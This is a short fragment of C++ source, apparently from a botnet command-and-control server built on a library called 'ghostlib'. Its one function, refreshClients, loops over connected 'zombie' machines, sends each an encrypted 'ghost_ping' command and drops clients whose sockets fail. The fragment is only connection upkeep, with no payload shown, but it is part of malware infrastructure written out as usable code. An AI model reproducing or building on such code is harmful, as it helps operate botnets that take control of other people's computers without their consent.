| 74 | } |
| 75 | |
| 76 | void refreshClients() { |
| 77 | ghostlib::_clientData client_data; |
| 78 | int i_res; |
| 79 | |
| 80 | for (int i = 0; i < ghostlib::getZombieCount(); i++) { |
| 81 | client_data = ghostlib::getZombieData(i); |
| 82 | |
| 83 | if (client_data.socketRef == INVALID_SOCKET) { |
| 84 | ghostlib::deleteZombie(i); |
| 85 | continue; |
| 86 | } |
| 87 | i_res = send(client_data.socketRef, encryptCMD(string("ghost_ping")).c_str(), 10, 0); // Testing if socket is active. Will never respond. |
| 88 | |
| 89 | if (i_res == SOCKET_ERROR) |
| 90 | ghostlib::deleteZombie(i); |
| 91 | |
| 92 | } |
| 93 | } |
no test coverage detected